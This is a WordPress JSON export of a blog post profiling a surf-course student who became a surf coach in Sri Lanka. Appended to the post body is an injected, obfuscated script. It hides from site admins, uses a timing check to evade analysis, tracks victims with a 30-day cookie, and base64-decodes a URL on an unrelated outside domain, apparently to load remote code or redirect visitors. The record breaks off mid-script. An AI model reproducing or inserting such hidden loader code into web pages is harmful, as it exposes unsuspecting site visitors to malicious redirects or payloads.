{"id":28103,"date":"2025-07-02T08:21:06","date_gmt":"2025-07-02T08:21:06","guid":{"rendered":"https:\/\/tickettoridegroup.com\/blog\/?p=28103"},"modified":"2025-10-17T18:04:27","modified_gmt":"2025-10-17T18:04:27","slug":"a-different-path-from-customer-to-coach","status":"publish","type":"post","link":"https:\/\/tickettoridegroup.com\/blog\/a-different-path-from-customer-to-coach\/","title":{"rendered":"A Different Path &#8211; From Customer to Coach"},"content":{"rendered":"\n<blockquote class=\"wp-block-quote\">\n<p>\u201cI started the course as a total beginner surfer, now I\u2019m working as a Surf Coach in Sri Lanka, whilst getting my Uni Degree online. Literally living my dream.\u201d<\/p>\n<cite>Magnus Drue Knudsen<\/cite><\/blockquote>\n\n\n\n<p>Firstly, to Magnus\u2019s parents \u2014 our sincere apologies.<\/p>\n\n\n\n<p>When Magnus joined the 10-Week Sri Lanka Surf Academy back in 2022, the plan was simple: gain some life experience, immerse himself in new cultures, meet new people, learn to surf, and qualify as a surf coach, all before heading off to university to study Maths.<br><\/p>\n\n\n\n<p>Fast forward a few years, and things haven\u2019t exactly gone to plan.<br><\/p>\n\n\n\n<figure class=\"wp-block-video\"><video controls src=\"https:\/\/tickettoridegroup.com\/blog\/wp-content\/uploads\/2025\/07\/WhatsApp-Video-2025-07-01-at-10.43.29.mp4\"><\/video><figcaption class=\"wp-element-caption\">What Magnus woke up to this morning&#8230;<\/figcaption><\/figure>\n\n\n\n<p>What was intended as a stepping stone to a summer job has evolved into a fulfilling and unexpected career. Magnus has spent multiple seasons with us in Sri Lanka as a Surf Coach, continually postponing his Maths degree as he followed a path he hadn\u2019t imagined, but clearly loves.<br><\/p>\n\n\n\n<p>His calm presence and rare patience in the water are qualities that can&#8217;t be taught. Combine that with the energy of youth, and you get someone who\u2019s always in the ocean \u2014 coaching, surfing, and spreading the stoke throughout the Surf House.<br><\/p>\n\n\n\n<p>After several seasons of what he calls \u201cinvaluable life experience\u201d \u2014 discovering more about himself, his values, and what truly drives him, Magnus has decided it\u2019s time to revisit his academic goals. But he\u2019s doing it his own way. He\u2019s carved out a unique path that allows him to study in the quiet tropical afternoons, while continuing to share his passion for surf coaching in a part-time role with our team in Sri Lanka.<br><\/p>\n\n\n\n<p>We couldn\u2019t be more proud of the journey he\u2019s taken and the one he\u2019s still riding.<br><\/p>\n\n\n\n<p>For more information on the courses that allow access to this sort of lifestyle <a href=\"https:\/\/tickettoridegroup.com\/courses\">click here<\/a>.<\/p>\n\n\n\n<figure class=\"wp-block-video\"><video controls src=\"https:\/\/tickettoridegroup.com\/blog\/wp-content\/uploads\/2025\/07\/WhatsApp-Video-2025-07-01-at-10.42.26.mp4\"><\/video><figcaption class=\"wp-element-caption\">Watch out for the Great Dane laying into some hacks in Ahangama, Sri Lanka this season<\/figcaption><\/figure>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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